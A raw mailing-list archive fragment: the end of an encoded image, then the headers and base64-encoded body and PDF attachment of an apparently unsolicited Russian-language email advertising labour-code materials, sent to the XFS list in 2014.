IiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpD cmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNl SUQ9InhtcC5paWQ6NEVFOTQ5NjJCNjgxMTFFMkE5RTg5QjA2OUI4OTYzNjUiIHhtcE1NOkRvY3Vt ZW50SUQ9InhtcC5kaWQ6NEVFOTQ5NjNCNjgxMTFFMkE5RTg5QjA2OUI4OTYzNjUiPiA8eG1wTU06 RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo0RUU5NDk2MEI2ODExMUUyQTlF ODlCMDY5Qjg5NjM2NSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo0RUU5NDk2MUI2ODExMUUy QTlFODlCMDY5Qjg5NjM2NSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1w bWV0YT4gPD94cGFja2V0IGVuZD0iciI/PknCAAEAAAibSURBVHja7FpdbxxnFT7vfO3Oftqx40Bi JXbblDRSXNIKkCJABaJcQZBAIJC4yTV3/IpccMl9rypF4oaCBAhRqqBIjRFVP9JUBEq3CaVN7Oyn d3dmZ2fm5TnvzNizju1419ntGnWk8X7vnuc9z3nOc96xkFLeI6ISHd7j55VK5RUDd47izB5WFDdu 3LAuX75MGu73DnE26OrVq7l6vU7G9hcCKUniVkxh0ByXLsRAbAsLCzbfDgDxAeLX63XqBAEZYvqg bCCu787N0HI2k346fAQIH228uT2lQJqIixd7p+MRIAwgOfeT6u3HOOGb22iVPrRRvjDEqvTjlRHx l4gYWD+usUkfxrAfCBClh2DP2DatFGya0TUUoIaUh7Te9+mdjksfuS5lNG2igjEUEK4qBvGVYoG+ US6o59wk7VKjpwyDllCIr9U1ut3tUhZg5FQCAYin7Qx9HSAcRPhhX1IHzwkZCXYRHDttaXTxSImq fp8eIEPWhERj3zWS9JYzuYy6/cgLqBGEpDEQ9ZqkGnhX6Qfq8bl8jtwwnM6MCKzurG6goCHTAGCI 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 --b2_ea6df1e7cff60e3af9c6d0cbae9552bc-- --b1_ea6df1e7cff60e3af9c6d0cbae9552bc-- From mushtra@baton-rouge.com Wed Jan 29 01:09:03 2014 Return-Path: <mushtra@baton-rouge.com> X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 783117F86 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 01:09:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AC3DD8F8054 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 23:08:59 -0800 (PST) X-ASG-Debug-ID: 1390979335-04bdf0359b19490001-NocioJ Received: from relay.hmd.it (vm39.interferenza.net [62.149.215.36]) by cuda.sgi.com with ESMTP id WdAPmGKPMY1HdrWx for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 23:08:56 -0800 (PST) X-Barracuda-Envelope-From: mushtra@baton-rouge.com X-Barracuda-Apparent-Source-IP: 62.149.215.36 Received: from localhost (localhost.localdomain [127.0.0.1]) by relay.hmd.it (Postfix) with ESMTP id B61BE16AD45; Wed, 29 Jan 2014 08:08:54 +0100 (CET) X-Virus-Scanned: amavisd-new at vm39.interferenza.net X-MAILSCAN-Parsed: YES X-Spam-Score: 0 X-Spam-Level: X-Spam-Status: No, score=x required=6.31 tests=[] Received: from relay.hmd.it ([127.0.0.1]) by localhost (vm39.interferenza.net [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id HcMirb6HI37J; Wed, 29 Jan 2014 08:08:54 +0100 (CET) X-SMTP-ID_C8DBA1650A3: yes Received: from Unknown (unknown [210.51.23.91]) (Authenticated sender: info@gemarame.it) by relay.hmd.it (Postfix) with ESMTP id C8DBA1650A3; Wed, 29 Jan 2014 08:08:11 +0100 (CET) Message-ID: <F09C5FE263FC43E79E6C21949612BB77@armatc> Reply-To: =?windows-1251?B?yM3Rz8XK0s7QIM/OIMrAxNDAzA==?= <michael@co.bw> From: =?windows-1251?B?yM3Rz8XK0s7QIM/OIMrAxNDAzA==?= <mushtra@baton-rouge.com> To: <landrz@mail.wplus.net>, <bordn@chado.spb.ru>, <xfs@oss.sgi.com>, <19@iso.spb.ru> Subject: =?windows-1251?B?0vDz5O7i7ukg6u7k5erxIDIwMTQ=?= Date: Wed, 29 Jan 2014 08:08:37 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0vDz5O7i7ukg6u7k5erxIDIwMTQ=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_22FF_01CF1CC9.4FE92F40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Spam-Flag: NO X-Barracuda-Connect: vm39.interferenza.net[62.149.215.36] X-Barracuda-Start-Time: 1390979335 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 This is a multi-part message in MIME format. ------=_NextPart_000_22FF_01CF1CC9.4FE92F40 Content-Type: multipart/alternative; boundary="----=_NextPart_001_2300_01CF1CC9.4FE92F40" ------=_NextPart_001_2300_01CF1CC9.4FE92F40 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C8=ED=F1=F2=F0=F3=EA=F6=E8=FF =EF=EE =E7=E0=EF=EE=EB=ED=E5=ED=E8=E5 =F2=F0= =F3=E4=EE=E2=FB=F5 =EA=ED=E8=E6=E5=EA ------=_NextPart_001_2300_01CF1CC9.4FE92F40 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1251" http-equiv=3DContent-= Type> <META name=3DGENERATOR content=3D"MSHTML 8.00.6001.19154"> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV>=C8=ED=F1=F2=F0=F3=EA=F6=E8=FF =EF=EE =E7=E0=EF=EE=EB=ED=E5=ED=E8=E5= =F2=F0=F3=E4=EE=E2=FB=F5 =EA=ED=E8=E6=E5=EA</DIV></BODY></HTML> ------=_NextPart_001_2300_01CF1CC9.4FE92F40-- ------=_NextPart_000_22FF_01CF1CC9.4FE92F40 Content-Type: application/octet-stream; name="=?windows-1251?B?z+7w/+Tu6iDw4PHy7vDm5e3o/yDy8PPk7uL7?= =?windows-1251?B?9SDu8u3u+OXt6Okg8SDw4OHu8u3o6uDs6C5w?= =?windows-1251?B?ZGY=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?z+7w/+Tu6iDw4PHy7vDm5e3o/yDy8PPk7uL7?= =?windows-1251?B?9SDu8u3u+OXt6Okg8SDw4OHu8u3o6uDs6C5w?= =?windows-1251?B?ZGY=?=" JVBERi0xLjUKJeLjz9MKNiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzMDUKICAgL0hlaWdodCA0 MDcKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9EQ1REZWNvZGUKICAgL0xl bmd0aCA0NDY5MAo+PgpzdHJlYW0K/9j/7gAOQWRvYmUAZAAAAAAB/9sAQwAHBQYGBgUHBgYGCAgH CQsSDAsKCgsXEBENEhsXHBwaFxoZHSEqJB0fKCAZGiUyJSgsLS8wLx0jNDg0LjcqLi8u/9sAQwEI CAgLCgsWDAwWLh4aHi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u Li4uLi4u/8AAEQgBlwkBAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkK C//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNi coIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SF hoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn 6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQE AwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBka JicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWW l5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5 +v/aAAwDAQACEQMRAD8A+kaKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoorifip4s1PwX4c/t2w062v YYpAs6TSlCAxAUrgc8mgDsHurZLiO2e4iWeQZSJnAZh7Dqamr5O0jxk/xR+L3hWa/sDp4tleMC1n bc2AzA7uMc/pX0P8TbqCz8Ca1PPf3Fiq25xPbHEqnI+7yOaAE8ceOtC8Epp7a1K6/bZhGgRc4HG5 z7DIz9a6iGRJokmjbdG6hlPqDyK+FvBuqX2u+PfDkGvX82o2q3yDbeyl1ClhnO44wa+4VvdPRAq3 lsqqMACRcAfnQBFrmsadoOlz6rqtwLeygAMkhBO3JwOnuasafeW2o2Nvf2coltriNZInH8SkZBr5 V+JPxrvNe0vW/CjaHbRwySNCLhZyxwj8EDGOdv619IfD7/kRvD3/AF4Q/wDoAoA6KiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACkJA6kD60tfN37VGsapZX3h+xtL+eC2eN52j jbaC6sAG49ATQB9I0V8n/CX4yeIovE9vpvifUWv9PvnWLzbhgptznAbPpzzX1erBlDKQVIyCO9AC 0UUUAFeN/tBX9vbaRbx61pz3OjFgdkOo+RJNJnpswdwXg+1eqz6xpNvfpp0+pWkd7JjZbvMokbPT C5zXyN+0dr2m6346RdMvftMdnbiCUqTsEgYk47HqORQBz2ieLdB8O+M9K8RaDoFxDBZhvMt57vzD IxBGQ2OOteo+K/iha+OPhzrr6j4cW1tY9sNtMZ/MYXLDK/LgcYDc9q+dK7fxP8vw58FBflDm9LAc biJRgn1oA4gEg5Bwa6vwJoN94g1K4aKQrBp9u95LJIpeMbAWCsM9GIxXKV3Hg93TwD47ZHZP3VmC VOOsx4oAo6t4xk1PT5rJvDnh61EoA861sdki854bPFd94F+LXxDvLzRvCmknTDnZbQiWDHygY5bP oOteL17F+zJLaxfERxcyQoz2brEJCMs+5cBc9+tAH2Am7Yu/G7HOPWlqhDrGkz6g+mw6laSXyZ32 6zKZFx1yuc8VfoAKKKKACq19f2VhEJr26it4y6oGkcKNzHAH4k1518dPHM3g3wsF02cRavfMY7cl Cdqj7zA9ARkYzXx3quuavq95LealqNxc3ErB3d3PJHQ46dqAP0Sorl/hta6lZ+CNHi1XUTqF0bdX 88jBKsMqPwBA/CuooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiikYhQWYgADJJ7UALXC/FjwHH488OiwS eO2voXEkEzJnnkbSeu057egrsDqFgOt7bD6yr/jWV4h8WaBoGmvf6hq1nFHyqbpQd74JC8euKAPi Txv4J1vwTqK2msxxhXZhDJG4IlUH7wHUD6ivffDV7458RaVb614J8cxX9vbRAz6ZfwoswkXrGdo+ 6RgA+9Z3j34cf8J34TtvH+jLLHrN1D9qntZZy6OpGdqE/dx2HTmrn7MHhTWdKh1PX9Qt/ItL6NYo Ffh22sctj05x+FAHe/DP4kQeLWudK1W1Gl+IrRis9kxxuweq55Pbj+lei14n8bre30DxH4R8XaVB HDrUmoravMFyHjZSDuHc4OM16L408ceHfBtr52t3wjldC8NuozJMAQDtH40AeWftGeBri+hh8Z6Q gS5sUzeurlXMS9GHYbeffmvPfib4Qt7200PVPD1zpgsrmCODTLG3VhcXC5+aSQn0JbLHjAr3bwf8 TfB3xAmutEtxIsrR8217GAJ1PUAZIOO496+ZfG8GvfD3xxe2UVzMY1gkgtJJ1BDW0gIIUdhyw/Cg DH0fwdNrHjWDwnY6naSTysU+0DPlhgpLD1OCCK9svvgT4guPCemaI2s6dNNaySOssiuBArHJRMDk N1Oe44rxLwl4xufDuvaNq62NtOdLDrHGF8sybgfvMOSea9b/AOGltT/6Fa0/8CW/woA84+JHw01P wB/Zx1G/tboXrMF8jd8u3Gc5HvXrmm/Ae+stNu7rRPE7R3N0gWKOaIGJ4WUZEgx97lsY6cV5V8Uf ibc/EEaaLjSYbL7EXI8uUvv3Y65A9K7u1/aQ1K3toYB4XtSI0VAftLc4GPSgDnPGHwP13wr4cvde u9X0+aC0UM0cYfc2WA4yPetLwx8L7rw0mjeONU8W6fptnHGl8NoJn2FQcKpGCeQPxqv42+Ol94r8 MX+gTeHra2S7UKZVnZiuGB6Y9q8zsYdf8U3un6YjXuoMpEECZLiMHsM8AYH6UAfSfwb8PLrvjHWP ikHmt7e8nmS0tZFwxVsZdj78Yx717rXHC80j4aeAbJNWvybXTrdYVcqA8zAcAL6msLwx8a/BHiC9 NmLuXT5SVWP7YoQSMTgAEE8/WgD0e9uraxtJry8mSG3hUvJI5wFA7mvKLnxF428a2d3f+FLqx8Pe HoJR5Wp3ynzLlBkMwU8BPQmrfxejtte1Twn4R/tNoGv73zZoo+fNhVSeR0K5Fdr4p8Owa74Sv/Dc TizgubfyEMaDEY4xgenFAHyP451u58ceL9P8PQ+KJNR09JhDBe30aRKHYgM/yj7vA61634B/Z/sd KvYdT8S38eoSwyb47eEfuWGPlLZ5PPOOleR6H8IPEt/46n8LXaC3S0Ie5uxyoiJ4ZfXODive/Ani Xw94V1XXvCuq+JCksGpCGzivpy77CiAAE9ic0AetoqoioihUUYCgYAHpS1U/tHT84+323/f1f8an imhmBMMscgHXYwOPyoAkooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK8W8b3Gt+MviXB4I0rWprbQ4LYvqj2X 3lJyDG5HTIAA+te0182jWr7w98UPiHZ2VlePres7ItLjiTG5jkeZuPAVc5z7GgD0nQ/gx4E0ieSY WE96XXbtvJjIq85yBxzRr3wY8BazJC76bJZ+WCNtnL5YbPcjnJrmJPi9Np/wsbVrl4X8SW1ydPkj aNjG1wp55H+wM56Zrznw7+0J4osrmNdXtba/tDMzy4BWTaTnapzgY7ZFAH0KvgDSlhsLRdR1YadZ wJbiwF0fIlRezrj5s9/WuvjjSKNY41CIowqgYAFeV6L8U9X1zw/J4h0nwFfXWnRsylkvI95K9cJj J61z/wAVfHvjmx0WwMeh3Hhm2uplWbUjKtw0K8dlHy9e/XpQBw/7Rvj231jWrHRNFvElg0yTzZJU XlbgZHyt3AB/OuPsPFmmeLvEEdz8Ub6/nsre08qD7GMMHGOT9cEk9zXcfEz4P6VpHgh/F2m6zc3F wqpcXBuAMTh8ZKgAbSS2ea9T8H/DHwDe+FNFvLrwxZy3E1nFJI7FssxQEnr60AfLfiJ/DmkaxBqP gbW79wspkjE0Jikt8Ebfmz8x967T4jeP/Cfjzwqk93pdxZ+KrVljgdTvWSPjdub/AL649a+iT8J/ 